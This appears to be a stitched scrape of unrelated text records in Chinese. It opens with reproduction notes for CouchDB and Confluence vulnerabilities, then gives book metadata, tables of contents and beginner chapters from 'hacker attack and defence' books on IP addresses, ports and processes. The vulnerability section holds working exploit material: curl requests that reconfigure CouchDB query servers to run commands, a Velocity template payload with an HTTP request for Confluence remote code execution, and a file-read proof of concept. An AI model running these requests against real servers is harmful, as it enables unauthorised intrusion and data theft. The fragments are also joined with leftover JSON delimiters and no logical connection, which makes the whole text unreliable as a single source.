CouchDB允许用户指定一个二进制程序或者脚本，与CouchDB进行数据交互和处理，query_server在配置文件local.ini中的格式： [query_servers] LANGUAGE = PATH ARGS 默认情况下，配置文件中已经设置了两个query_servers: ​ [query_servers] javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js 可以看到，CouchDB在query_server中引入了外部的二进制程序来执行命令，如果我们可以更改这个配置，那么就可以利用数据库来执行命令了 在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。 ​ http://bobao.360.cn/learning/detail/4716.html https://justi.cz/security/2017/11/14/couchdb-rce-npm.html ​ 二、影响范围 小于 1.7.0 以及 小于 2.1.1 该漏洞是需要登录用户方可触发，如果不知道目标管理员密码，可以利用CVE-2017-12635先增加一个管理员用户。 三、复现过程 1.扫描探测 nmap -p 5984 --script \"couchdb-stats.nse\" 127.0.0.1 image 2.两个版本的利用方式 (1) 1.6.0 下的说明 依次执行如下请求即可触发任意命令执行,其中,vulhub:vulhub为管理员账号密码。 curl -X PUT 'http://vulhub: [email protected] :5984/_config/query_servers/cmd' -d '\"id >/tmp/success\"' curl -X PUT 'http://vulhub: [email protected] :5984/vultest' curl -X PUT 'http://vulhub: [email protected] :5984/vultest/vul' -d '{\"_id\":\"770895a97726d5ca6d70a22173005c7b\"}' curl -X POST 'http://vulhub: [email protected] :5984/vultest/_temp_view?limit=10' -d '{\"language\":\"cmd\",\"map\":\"\"}' -H 'Content-Type:application/json' Confluence Confluence 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/confluence"},
    {"text": "（CVE-2019-3396）未授权RCE漏洞 （CVE-2019-3396）未授权RCE漏洞 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/confluence/cve20193396-wei-shou-quan-rce-lou-dong 一、漏洞简介 （CVE-2019-3396）未授权RCE漏洞 二、影响范围 6.6.12之前所有6.6.x版本 6.12.3之前所有6.12.x版 6.13.13之前所有6.13.x版本 6.14.2之前所有6.14.x版本 三、复现过程 1.开启一个FTP服务,根目录放置模板文件 r.vm #set ($exp=\"exp\") #set ($a=$exp.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).in voke(null,null).exec($command)) #set ($input=$exp.getClass().forName(\"java.lang.Process\").getMethod(\"getInputStream\") .invoke($a)) #set($sc = $exp.getClass().forName(\"java.util.Scanner\")) #set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName(\"java.io.InputStream\"))) #set($scan=$constructor.newInstance($input).useDelimiter(\"\\\\A\")) #if($scan.hasNext()) $scan.next() #end 这里用 python 开启一个 FTP 服务进行演示: pip install pyftpdlib python -m pyftpdlib -p 8883 回显命令执行: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Content-Length: 193 Accept: text/plain, */*; q=0.01 Origin: http://localhost:8090 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Content-Type: application/json; charset=UTF-8 Referer: http://localhost:8090/ Connection: close ​ ​ {\"contentId\":\"1\",\"macro\":{\"name\":\"widget\",\"params\": {\"url\":\"https://www.viddler.com/v/test\",\"width\":\"1000\",\"height\":\"1000\",\"_templat e\":\"ftp://127.0.0.1:8883/r.vm\",\"command\":\"whoami\"},\"body\":\"\"}} image （CVE-2019-3394）Confluence 文件读取漏洞 （CVE-2019-3394）Confluence 文件读取漏洞 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/confluence/cve20193394confluence-wen-jian-du-qu-lou-dong 一、漏洞简介 （CVE-2019-3394）Confluence 文件读取漏洞 二、影响范围 6.1.0 <= version < 6.6.16 6.7.0 <= version < 6.13.7 6.14.0 <= version < 6.15.8 三、复现过程 poc POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Content-Length: 175 Accept: text/plain, */*; q=0.01 Origin: http://localhost:8090 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Content-Type: application/json; charset=UTF-8 Referer: http://localhost:8090/ Connection: close ​ {\"contentId\":\"1\",\"macro\":{\"name\":\"widget\",\"params\": {\"url\":\"https://www.viddler.com/v/test\",\"width\":\"1000\",\"height\":\"1000\",\"_templat e\":\"file:///C:/Windows/win.ini\"},\"body\":\"\"}} 触发条件 一个有效的登录账号 该账号具有在空间「添加页面」的权限 复现步骤 1.创建一个空白页 ​ 2.插入一张网络图片 ​ image 插入url改为你需要查看的文件，例如 /packages/../web.xml 3.点击发布，抓取报文 4.删除多余url前缀,只留下 /packages/../web.xml 并放开报文 image 5.查看页面源码确认修改成功 ​ 6.导出word，并抓包查看 image image 路径说明 由于 catalina.jar 中的 org.apache.catalina.webresources.StandardRoot.class 的 getResource方法的 validate 存在过滤和限制，所以可遍历路径均在 /WEB-INF 下 可读取的文件大致如下 #WEB-INF下 decorators.xml glue-config.xml server-config.wsdd sitemesh.xml urlrewrite.xml web.xml #/WEB-INF/classes下 confluence-filtered-frames.properties confluence-init.properties crowd.properties(较为重要) hash-registry.properties lgplTemplate.soy log4j-diagnostic.properties log4j.properties logging.properties mime.types osuser.xml seraph-config.xml seraph-paths.xml velocity_implicit.vm velocity.properties"},
    {"text": "index Document generated by Anna’s Archive around 2023-2024 as part of the DuXiu collection (https://annas-blog.org/duxiu-exclusive.html). Images have been losslessly embedded. Information about the original file can be found in PDF attachments. Some stats (more in the PDF attachments): { \"filename\": \"MTQ2Njc4OTkuemlw\", \"filename_decoded\": \"14667899.zip\", \"filesize\": 70257701, \"md5\": \"3183b7630f8abaa28391831be3cc4516\", \"header_md5\": \"aa7ec8520426ace2576343730e9db271\", \"sha1\": \"a7002cb6142a936f78036ff9f9efd02cec76a72a\", \"sha256\": \"480239518c40e651e126a8c78d8685d8d5ac9da69cb2f089d0c3cf034d0936a4\", \"crc32\": 335330569, \"zip_password\": \"\", \"uncompressed_size\": 80007776, \"pdg_dir_name\": \"14667899\", \"pdg_main_pages_found\": 279, \"pdg_main_pages_max\": 279, \"total_pages\": 293, \"total_pixels\": 1706178439, \"pdf_generation_missing_pages\": false }\nCover"},
    {"text": "index\nCover\nindex Document Outline 封面 作者简介 扉页 内容简介 版权页 前言 目录 第1章 黑客攻防与网络安全快速入门 1.1 怎样从零开始学黑客 1.2 网络安全中的相关概念 1.3 认识网络通信中的协议 1.4 实战演练 1.5 小试身手 第2章 Windows中的DOS窗口与DOS命令 2.1 认识Windows 10系统中DOS窗口 2.2 黑客常用DOS命令应用绝招 2.3 实战演练 2.4 小试身手 第3章 网络踩点侦察与系统漏洞扫描 3.1 网络踩点侦察 3.2 防御网络侦察的对策 3.3 堵塞系统漏洞 3.4 实战演练 3.5 小试身手 第4章 缓冲区溢出攻击与网络渗透入侵 4.1 什么是缓冲区溢出攻击 4.2 RPC服务远程溢出漏洞攻击 4.3 WebDAV缓冲区溢出攻击 4.4 防止缓冲区溢出攻击的方法 4.5 网络渗透入侵系统的手段与防御 4.6 实战演练 4.7 小试身手 第5章 目标系统的扫描与网络数据的嗅探 5.1 扫描目标系统的端口信息 5.2 扫描目标系统的其他信息 5.3 嗅探网络中的数据信息 5.4 实战演练 5.5 小试身手 第6章 Windows系统远程控制与网络欺骗 6.1 通过Windows远程桌面实现远程控制 6.2 使用Symantec pcAnywhere实现远程控制 6.3 防范远程控制的方法与技巧 6.4 形形色色的网络欺骗攻击 6.5 网络欺骗攻击的防护技巧 6.6 实战演练 6.7 小试身手 第7章 黑客信息的追踪与代理服务器的应用 7.1 黑客信息的追踪 7.2 网络代理服务器的应用 7.3 实战演练 7.4 小试身手 第8章 木马病毒的防御与杀毒软件的使用 8.1 常见木马病毒的攻击方法 8.2 使用木马清除软件清除木马 8.3 使用《360杀毒》软件查杀病毒 8.4 使用病毒专杀工具查杀病毒 8.5 实战演练 8.6 小试身手 第9章 网络流氓软件与间谍软件的清理 9.1 感染恶意或间谍软件后的症状 9.2 恶意软件的清理 9.3 间谍软件的清理 9.4 实战演练 9.5 小试身手 第10章 可移动U盘的安全防护与病毒查杀 10.1 U盘病毒概述 10.2 U盘的安全防护技巧 10.3 U盘病毒的查杀 10.4 U盘数据的加密 10.5 实战演练 10.6 小试身手 第11章 磁盘数据的备份与恢复技巧 11.1 备份各类磁盘数据 11.2 恢复各类磁盘数据 11.3 使用数据恢复工具恢复丢失的数据 11.4 实战演练 11.5 小试身手 第12章 无线网络的组建与安全分析 12.1 认识无线网络及相关概念 12.2 组建无线网络并实现上网 12.3 无线网络的安全分析 12.4 实战演练 12.5 小试身手 第13章 无线路由器及密码的安全防护 13.1 无线路由器的基本设置 13.2 无线路由器的密码破解 13.3 无线路由器的安全防护技巧 13.4 无线路由器的安全管理 13.5 实战演练 13.6 小试身手 正文结束"},
    {"text": "书名页 学电脑从入门到精通 黑客攻防从入门到精通 恒盛杰资讯 编著 ISBN：978-7-111-41765-1 本书纸版由机械工业出版社于2013年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @研发书局 腾讯微博 @yanfabook 目录 目录 前言 主要内容 本书特色 读者对象 第1章 从零开始认识黑客 1.1 认识黑客 1.2 黑客的定位目标——IP地址 1.3 黑客的专用通道——端口 1.4 黑客藏匿的首选地——系统进程 1.5 认识黑客常用术语和DOS命令 第2章 黑客攻防前的准备工作 2.1 在计算机中搭建虚拟环境 2.2 认识黑客常用的入侵工具 2.3 认识黑客常用的入侵方法 2.4 掌握个人计算机安全的防护策略 第3章 扫描与嗅探攻防 3.1 搜集目标计算机的重要信息 3.2 扫描目标计算机的端口 3.3 嗅探网络中的数据包 3.4 防范端口扫描与嗅探 第4章 Windows系统漏洞攻防 4.1 认识Windows系统漏洞 4.2 了解Windows系统中存在的漏洞 4.3 检测Windows系统中存在的漏洞 4.4 学会手动修复Windows系统漏洞 第5章 密码攻防 5.1 加密与解密基础 5.2 解除系统中的密码 5.3 破解常见的文件密码 5.4 防范密码被轻易破解 第6章 病毒攻防 6.1 认识病毒 6.2 学会制作简单的病毒 6.3 预防和查杀计算机病毒 第7章 木马攻防 7.1 认识木马 7.2 认识制作木马的常用工具 7.3 木马的加壳与脱壳 7.4 使用第三方软件防范木马入侵计算机 第8章 后门技术攻防 8.1 认识常见的后门 8.2 认识账号后门技术 8.3 认识系统服务后门技术 8.4 清除日志信息 8.5 检测系统中的后门程序 第9章 局域网攻防 9.1 局域网中常见的攻击类型 9.2 防御广播风暴 9.3 防御ARP欺骗攻击 9.4 绑定MAC防御IP冲突攻击 9.5 提高无线局域网的安全系数 第10章 远程控制攻防 10.1 远程控制概述 10.2 基于认证入侵 10.3 基于注册表入侵 10.4 使用专业软件实现远程控制 10.5 有效防范远程入侵和远程监控 10.6 其他常见的远程控制方式 第11章 QQ攻防 11.1 攻击QQ常用的方式 11.2 黑客盗取QQ密码的常用工具 11.3 黑客远程攻击QQ的常用工具 11.4 保护QQ密码和聊天记录 第12章 E-Mail与IE浏览器攻防 12.1 认识网页恶意代码 12.2 黑客攻击IE浏览器的常用方式 12.3 黑客攻击电子邮箱的常用工具 12.4 IE浏览器的防护 12.5 电子邮箱的防护 第13章 网站攻防 13.1 认识网站攻击 13.2 DoS攻防 13.3 DDoS攻防 13.4 SQL注入攻击 第14章 防范流氓与间谍软件 14.1 认识流氓软件与间谍软件 14.2 清除与防范流氓软件 14.3 使用Windows Defender清除间谍软件 第15章 计算机安全防护设置 15.1 系统安全设置 15.2 注册表安全设置 15.3 组策略安全设置 第16章 系统与数据的备份与恢复 16.1 备份与还原系统 16.2 备份与还原数据 16.3 恢复被误删除的数据 第17章 加强网络支付工具的安全 17.1 防御黑客入侵支付宝账户 17.2 防御黑客入侵网上银行 17.3 防御黑客入侵财付通 光盘内容 前言 前言 在Internet中，黑客通常都是一类拥有高超计算机技术的人，他们甚至不需要亲自接触用户的计算机，就可以偷窥其中的账户、密码等信息，甚至破坏其操作系统。随着越来越多的金融贸易要通过Internet来实现，防御黑客入侵已成为至关重要的工作。作者特为此编写了本书。 前言 主要内容 本书包括17章，第1章介绍了黑客的基础知识，包括IP地址、端口、系统进程以及DOS命令等内容；第2章介绍了黑客攻防前的准备工作，包括安装VMware和虚拟操作系统，认识黑客常用的入侵工具、入侵方法以及防护策略等内容；第3章介绍了扫描与嗅探攻防的知识，包括搜索目标计算机的IP地址、扫描其端口以及嗅探网络中的数据包等内容；第4章介绍了Windows系统漏洞攻防的相关知识，包括认识、检测和修复Windows系统漏洞等内容；第5章介绍了密码攻防的相关知识，包括解除系统中的密码、破解文件密码以及防范密码被轻易破解等内容；第6～7章介绍了病毒、木马攻防相关知识，包括认识病毒木马、制作病毒木马以及防范病毒木马等内容；第8～10章介绍了后门技术、局域网和远程控制攻防的相关知识，包括认识后门、制作后门、清除日志信息、防御局域网中的攻击类型以及常见的远程入侵方式等内容；第11～13章介绍了QQ、E-Mail与IE浏览器和网站攻防的相关知识，包括盗取QQ密码和远程攻击QQ、保护QQ密码和聊天记录、攻击IE浏览器和电子邮箱、DoS攻击、DDoS攻击等内容；第14～16章介绍了防范流氓与间谍软件、计算机安全防护以及系统与数据的备份与恢复的相关知识，包括清除流氓软件与间谍软件、系统\\注册表\\组策略的安全设置以及系统的备份与还原等内容；第17章介绍了网络支付工具安全的相关知识，包括防御黑客入侵支付宝账户、网上银行以及财付通等内容。"},
    {"text": "本书特色 本书特色 简单易懂——本书为了能适用于初次接触黑客攻防技术的用户，将黑客入侵攻击演示以及防御黑客入侵的操作以图文结合的形式进行介绍，使读者可以轻松地掌握有关黑客入侵目标计算机和防御黑客入侵计算机的基础知识。 内容丰富——本书中添加了“提示”版块，既包括为读者答疑解惑的纯文字内容，又包括帮助读者提高动手能力的图文解析内容，帮助读者答疑解惑。 读者对象 读者对象 本书内容详细，讲解具体，充分融入了作者的实际使用经验和操作心得，可以作为个人学习和了解黑客攻防的参考书籍。 希望本书能对广大读者朋友有所帮助。由于作者水平有限，在编写本书的过程中难免会存在疏漏之处，恳请广大读者批评指正，可登录www.epubhome.com网站提出宝贵意见。 作者 2013年2月 第1章 从零开始认识黑客 第1章 从零开始认识黑客 如今，Internet在人们的生活、工作和学习中起着十分重要的作用。但是，随之而来的却是Internet的安全问题越来越突出。在Internet中，有一类人，他们掌握高超的计算机技术，可能他们会维护Internet的安全，可能他们会破坏Internet的安全，这类人就是黑客——一个让绝大部分网络用户敬畏的人群。 知识要点 ·认识黑客 ·黑客的定位目标——IP地址 ·黑客的专用通道——端口 ·黑客藏匿的首选地——系统进程 ·认识黑客常用的DOS命令 第1章 从零开始认识黑客 1.1 认识黑客 黑客是一类掌握超高计算机技术的人群。凭借着掌握的知识，他们既可以从事保护计算机和网络安全的工作，又可以选择入侵他人的计算机或者破坏网络，对于黑客而言，他们所做的事情总是带有一定的目的，也许是为了炫耀，也许是为了报复。 1.1.1 区别黑客与骇客 黑客的原意是指那些精通操作系统和网络技术，并利用其专业编制新程序的人。黑客所做的不是恶意破坏，他们是一群纵横于网络上的技术人员，热衷于科技探索、计算机科学研究。在黑客圈中，Hack一词带有正面的意义，例如system hack是指熟悉操作系统的设计与维护的黑客；password hacker是指擅长找出使用者密码的黑客；computer hacker则是指通晓计算机，可让计算机乖乖听话的黑客。 而骇客则不一样，骇客是指利用所掌握的计算机技术，从事恶意破解商业软件、恶意入侵别人的网站或计算机等事务的人。 总的来说，黑客是一类主要负责维护计算机和网络的安全的人员，而骇客则是入侵他人计算机或者网络的人员。其实黑客与骇客本质上都是相同的，即闯入计算机系统/软件者。黑客和骇客并没有一个十分明显的界限，但随着两者含义越来越模糊，因此造成了黑客一词越来越接近骇客。 提示：认识红客 红客是英文单词Honker的中文音译，它代表着一种精神，即热爱祖国、坚持正义和开拓进取的精神。因此只要具备这种精神并热衷于计算机技术的人都可以成为Honker。Honker是Hacker中的一部分人，这部分人以维护国家利益为己任，不利用掌握的计算机和网络技术入侵自己国家的计算机或服务器。他们维护正义，为国争光。 1.1.2 成为黑客必须掌握的知识 1.1.2 成为黑客必须掌握的知识 用户若想成为黑客，并不是一朝一夕的事情，需要掌握大量的计算机专业知识和技术，如果只是掌握了基础的DOS命令和一两款远程控制工具是算不上黑客的。成为黑客必须掌握的知识包括：一定的英文水平、理解常用的黑客术语和网络安全术语、熟练使用常用DOS命令和黑客工具，以及掌握主流的编程语言以及脚本语言。 1.一定的英文水平 黑客学习的计算机知识虽然主要来源于国内，但是却经常需要参考国外的相关资料和教程，而国外的资料和教程大多数为英文版本，因此就需要具有一定的英文水平，以确保能够看懂国外的一些参考资料。 2.理解常用的黑客术语和网络安全术语 在常见的黑客论坛中，经常会看到肉鸡、挂马和后门等词语，这些词语可以统称为黑客术语，如果不理解这些词语，则在与其他黑客交流技术或经验时就会有障碍。除了掌握相关的黑客术语之外，作为黑客，还需要掌握TCP/IP协议、ARP协议等网络安全术语。 3.熟练使用常用DOS命令和黑客工具 常用DOS命令是指在DOS环境下使用的一些命令，主要包括Ping、netstat以及net命令等。利用这些命令可以实现对应不同的功能，如，利用使用Ping命令可以获取目标计算机的IP地址以及主机名。而黑客工具则是指用来远程入侵或者查看是否存在漏洞的工具，例如使用X-Scan可以查看目标计算机是否存在漏洞，利用EXE捆绑器可以制作带木马的其他应用程序。 4.掌握主流的编程语言以及脚本语言 从Internet中获取的黑客工具通常是其他黑客利用指定类别的编程语言（C++、Java等）制作的，如果想要成为一名黑客高手，仅仅使用别人制作的工具是不够的，需要具有创新精神，通过掌握主流的C++、Java等编程语言来编制属于自己的黑客工具。同时还需要掌握JavaScript，VBScript等脚本语言，用于自己编写脚本，实现脚本入侵。 提示：认识黑客攻击的目的 黑客攻击目标计算机或服务器的目的主要有3个，分别是盗取账户密码、恶作剧以及炫耀高超的计算机技术，其中盗取账户密码属于违法的行为，用户一定不要使用本书介绍的黑客工具去入侵他人的计算机。"},
    {"text": "1.2 黑客的定位目标——IP地址 1.2 黑客的定位目标——IP地址 IP是Internet Protocol的简称，中文简称为“网协”，它是为计算机网络相互连接进行通信而设计的协议。无论任何操作系统，只要遵守IP协议就可以与Internet互联互通。而IP地址则是为了识别Internet或局域网中的电脑所产生的32bit（bit的中文名称是位，音译为比特）地址。下面就介绍什么是IP地址以及IP地址的分类。 1.2.1 认识IP地址 IP地址其实就与现实生活中的住址一样，如果要将信件寄送给指定的好友，就必须知道该好友的住址，这样才能确保邮递员能够准确地将信件送到好友手中。在Internet中，计算机之间的通信就类似于现实生活中用户之间的通信，若想将信息发送给指定的计算机，就必须知道目标计算机的IP地址。 IP地址默认是利用二进制来表示的，目前的IP地址的长度为32bit，例如采用二进制形式的IP地址是11000000101010000000000100100101，这么长的IP地址处理起来会非常麻烦。因此为了方便使用，IP地址经常被记为十进制形式的数字，分为4段，每段包括8位，并且在中间使用句点符号“.”隔开，这样上面的IP地址可以写成192.168.1.32。这种记法叫做“点分十进制表示法”，与一长串的1和0相比，利用点分十进制表示法表示的IP地址更容易被记住。 1.2.2 IP地址的分类 1.2.2 IP地址的分类 在Internet中，每个IP地址都包括两个标识码（ID），它们分别是网络标识码和主机标识码。网络ID能够告诉用户计算机所处的特定网络，而主机ID则用来区分该网络中的多台计算机。 根据IP地址中网络ID与主机ID表示的不同数据段，可以将IP地址划分为A、B、C、D和E类。这5类IP地址的定义方式如表1-1所示。 除了以上介绍的5种IP地址以外，还有全0和全1的IP地址，其中全0的IP地址（0.0.0.0）是指当前网络，全1的IP地址（255.255.255.255）是广播地址（现在CISCO上可以使用全0地址）。 提示：认识IPv4地址与IPv6地址 IPv是Internet Protocol version的简称，中文译为“网际协议版本”，目前Internet中常用的网际协议版本有IPv4和IPv6两个。随着Internet中电脑数量越来越多，IPv4采用32bit地址长度，只能容纳大约43亿台电脑，而IPv6采用了128bit地址长度，几乎可以不受限制地提供IP地址。按保守方法估算，IPv6可以在全球每平方米的面积上，除了能够提供现有的地址数量之外，还可以增加大约1000个地址。 1.2.3 查看计算机的IP地址 1.2.3 查看计算机的IP地址 当计算机接入Internet以后，Internet就会给该计算机分配一个IP地址，若要查看该IP地址，则可以借助百度搜索引擎来实现。 STEP01：输入“IP地址查询”关键字 STEP02：查看当前计算机的IP地址 提示：查看路由器分配的IP地址 若计算机直接连接Modem并实现拨号上网时，则利用百度查询到的IP地址是当前计算机在Internet中的IP地址，若计算机是连接路由器而实现上网时，则该计算机将会拥有两种IP地址，即外网IP地址和内网IP地址，其中外网IP地址是指利用百度搜索引擎查询到的IP地址，而内网IP地址是指利用ipconfig命令查询到的IP地址，该地址是路由器为之分配的IP地址。使用ipconfig命令查看IP地址的使用方法可参见1.5.2节。"},
    {"text": "1.3 黑客的专用通道——端口 1.3 黑客的专用通道——端口 在计算机中，端口是计算机与外部通信交流的出口。由于计算机自身所携带的物理端口（键盘、鼠标、显示器等输入/输出接口）已经无法满足网络通信的需求，因此TCP/IP协议就引入了一种称为Socket的应用程序接口，该技术可以让当前计算机通过软件的方式与任何一台具有Socket接口的计算机进行通信，以满足网络通信的需求。而Socket接口就是通常所称的“端口”。 1.3.1 端口的分类 在计算机中，不同的端口有着不同的功能，例如80号端口是用于浏览网页服务的，21号端口是用于FTP服务的，等等。计算机中可开启的端口数值范围为1～65535。按照端口号的分布，可以将计算机中的端口分为公认端口、注册端口以及动态和/或私有端口。 1.公认端口 公认端口也称为“常用端口”，这类端口包括0～1023号端口，它们紧密地绑定一些特定的服务，通常这些端口的通信明确地表明了某种服务的协议，用户无法重新定义这些端口对应的作用对象。例如，80号端口分配给HTTP通信使用，用户将无法对80号端口进行重新定义。 2.注册端口 注册端口包括1024～49151号端口，它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其他的目的。这些端口与公认端口不同，它们多数没有明确的作用对象，不同的程序可以根据实际需要自己定义。这些端口会定义一些远程控制软件和木马程序，因此对这些端口的防护和病毒查杀是非常有必要的。 3.动态和/或私有端口 动态和/或私有端口包括49152～65535号端口，这些端口通常不会被分配常用服务，但是一些常用的木马和病毒就非常喜欢使用这些端口，其主要原因是这些端口常常不引起人们注意，并且很容易屏蔽。 提示：按照协议类型划分端口 划分端口不仅可以根据端口号进行，也可以根据协议类型进行划分。根据协议类型可以将端口划分为TCP端口和UDP端口两种类型，其中TCP端口采用了TCP通信协议，利用该端口连接远程计算机并发送消息后，还需要确认信息是否到达；TCP端口主要包括21（FTP服务）、23（Telnet服务）、25（SMTP服务）和110（POP3服务）号端口；而UDP端口采用了UDP通信协议，利用该端口连接远程计算机并发送消息后，无需确认信息是否到达，主要包括80号端口（HTTP服务）、53号端口（DNS服务）和161号端口（SNMP服务）。 1.3.2 关闭端口 1.3.2 关闭端口 在Windows 7系统中，有很多不安全的端口处于开启状态，例如5357号端口默认处于开启状态，该端口对应的服务是在Windows 7中，5357号端口对应着Function Discovery Resource Publication服务，它的含义是发布该计算机以及连接到该计算机的资源，以便能够在网络上发现这些资源。该端口的开启可能会造成计算机内部信息的泄漏，因此需要关闭该端口。关闭该端口的方法就是禁用Function Discovery Resource Publication服务。 STEP01：单击“控制面板”命令 STEP02：单击“管理工具”链接 STEP03：双击“服务”选项 STEP04：双击FDRP服务 STEP05：设置启动类型为禁用 STEP06：停止运行该服务 STEP07：正在停止运行指定服务 STEP08：保存退出 提示：开启端口 开启端口的操作与关闭端口的操作是互逆的，简单地说就是启用指定端口所对应的服务，其操作方法与关闭操作十分类似。 1.3.3 限制使用指定的端口 1.3.3 限制使用指定的端口 对于个人计算机而言，用户可以随意选择限制使用的端口，因为个人计算机可以不用对外提供任何服务。在Windows 7系统中，3389号端口是一个十分危险的端口，但是该端口默认处于开启状态，因此用户可以通过使用IP策略阻止访问该端口。 STEP01：双击“本地安全策略”图标 STEP02：创建IP安全策略 STEP03：单击“下一步”按钮 STEP04：输入名称和描述信息 STEP05：选择不激活默认响应规则 STEP06：单击“完成”按钮 STEP07：选择管理筛选器列表和操作 STEP08：单击“添加”按钮 STEP09：添加指定名称的筛选器 STEP10：单击“下一步”按钮 STEP11：输入描述信息 STEP12：设置源地址 STEP13：设置目标地址 STEP14：选择协议类型 STEP15：设置IP协议端口 STEP16：完成IP筛选器的创建 STEP17：单击“确定”按钮 STEP18：添加管理筛选器操作 STEP19：设置筛选器操作为阻止 STEP20：单击“关闭”按钮 STEP21：双击添加的IP安全策略 STEP22：添加IP安全规则 STEP23：单击“下一步”按钮 STEP24：设置此规则不指定隧道 STEP25：选择网络类型 STEP26：选择IP筛选器 STEP27：选择IP筛选器操作 STEP28：单击“完成”按钮 STEP29：分配设置的IP安全策略"},
    {"text": "1.4 黑客藏匿的首选地——系统进程 1.4 黑客藏匿的首选地——系统进程 在Windows系统中，进程是程序在系统中的一次执行活动。它主要包括系统进程和程序进程两种。凡是用于完成操作系统各种功能的进程都统称为系统进程，而通过启动应用程序所产生的进程则统称为程序进程。由于系统进程是随着操作系统的启动而启动的，因此黑客经常会进行一定的设置，使得系统中的木马或病毒对应的进程与系统进程的名称十分相似，从而达到欺骗用户的目的。 1.4.1 认识系统进程 系统进程的主要作用是确保操作系统能够正常运行，在Windows 7系统中，右击任务栏任意空白处，在弹出的快捷菜单中单击“启动任务管理器”命令，打开“Windows任务管理器”窗口，切换至“进程”选项卡，便可看见当前正在运行的所有进程。用户名为SYSTEM所对应的进程便是系统进程，这些进程的名称及含义如表1-2所示。 1.4.2 关闭和新建系统进程 1.4.2 关闭和新建系统进程 在Windows 7系统中，用户可以手动关闭和新建部分系统进程，如explorer.exe进程就可以手动关闭和新建。进程被关闭后，桌面上将只显示桌面墙纸，重新创建该进程后将会再次在桌面上显示桌面图标和任务栏。 STEP01：单击“启动任务管理器”命令 STEP02：结束explorer.exe进程 STEP03：确认结束该进程 STEP04：查看桌面显示信息 此时可看见桌面上只显示了桌面背景，桌面图标和任务栏都消失了。 STEP05：单击“新建任务”命令 STEP06：新建explorer.exe进程 提示：在结束explorer.exe进程后打开“Windows任务管理器”窗口 结束explorer.exe进程后，桌面上将不会显示任务栏，此时若要再次打开“Windows任务管理器”窗口，可以通过按【Ctrl+Alt+Del】组合键实现。 STEP07：查看创建进程后的桌面 桌面上重新显示了桌面图标和任务栏，即系统已成功运行explorer.exe进程。 提示：重新加载explorer.exe的妙用 重新加载explorer.exe进程可用于安全卸载接入电脑的U盘，若无法安全地卸载U盘，则可在重新加载explorer.exe进程后再次安全删除它。 1.5 认识黑客常用术语和DOS命令 1.5 认识黑客常用术语和DOS命令 掌握基本的黑客术语和DOS命令是一名黑客最基本的技能，黑客术语能够实现自己与其他人之间的正常交流；而DOS命令就是DOS操作系统的命令，它是一种面向磁盘的操作命令，黑客在入侵目标主机的过程中经常会使用这些DOS命令进行探测并获取目标主机信息。 1.5.1 常用术语 在Internet中，某些与计算机技术有关的论坛都会显示诸如菜鸟、肉鸡、后门之类的词语，其实这些词语的含义在这里并不是它的原本含义，而是由原本含义所引申出来的其他含义，而这些词语就是黑客们经常使用的术语。 1.菜鸟 “菜鸟”是一种形象的比喻，用来把许多刚刚接触网络安全（黑客）技术的初学者比喻成刚刚破壳而出的小鸟，表示水平很差，需要学好知识，才能振翅高飞。有些高手喜欢把自己称为菜鸟，其实这是一种谦虚的表现。 2.肉鸡 “肉鸡”是指那些被黑客入侵，并成功控制的电脑，这些已经被控制的电脑对于入侵者来说，可像使用自己的电脑一样任意使用，因此被形象地比喻为肉鸡。 3.后门 后门原意是指位于房间背后、不常使用且可以自由出入的门，而在计算机领域中则是指绕过软件的安全性控制，而从比较隐秘的通道获取对程序或系统访问权的通道。一旦系统中存在后门，则系统就处于十分危险的状态了。 4.弱口令 弱口令是指安全性比较弱的密码，当设置的密码与用户名完全相同，或为仅由数字、字母和符号中的任意一种所组成的密码时，都可以称其为弱口令。弱口令最明显的缺点就是很容易被黑客破解。 5.扫描 扫描通常指的是向目标计算机提交一些特定的请求，然后根据收到的回复信息来判断目标计算机是否存在安全问题。扫描是一种最常用、最基本的信息刺探方法。 6.嗅探 嗅探是指利用网络嗅探工具窃听局域网中流经的数据包，然后通过分析数据包便可获取这些数据包中的数据。"},
    {"text": "1.5.2 DOS基本命令 1.5.2 DOS基本命令 在Windows 7系统中，DOS基本命令主要包括DIR、Ping、NBTSTAT、NETSTAT和IPCONFIG等，这些命令都有十分强大的功能。"},
    {"text": "STEP01：单击“运行”命令 STEP02：输入cmd命令 提示：设置在“开始”菜单中显示“运行”命令 默认情况下“开始”菜单中不会显示“运行”命令，需要手动设置。 右击任务栏空白处，在弹出的快捷菜单中单击“属性”命令，弹出对话框。 切换至“‘开始’菜单”选项卡，单击“自定义”按钮，在弹出的对话框中勾选“运行命令”复选框，单击“确定”按钮保存并退出。"},
    {"text": "STEP03：查看指定位置的未隐藏文件 STEP04：查看指定位置的所有文件 提示：在显示结果中区别文件和文件夹 利用DIR F:\\OS命令查看F盘分区中OS文件夹中未隐藏的文件时，用户需要注意区分文件和文件夹，例如STEP03中显示结果为Windows 7，就表示Windows 7是一个文件夹的名称，而Windows 8.iso则表示Windows8.iso是一个镜像文件。"},
    {"text": "STEP05：查看指定位置中的文件名称 STEP06：查看指定位置中的详细文件 2.Ping命令 Ping命令是一个使用频率极高的DOS命令，主要用于确定本地计算机是否能与另一台计算机交换（发送与接收）数据包，并根据返回的信息来检测两台计算机之间的网络是否连通。"},
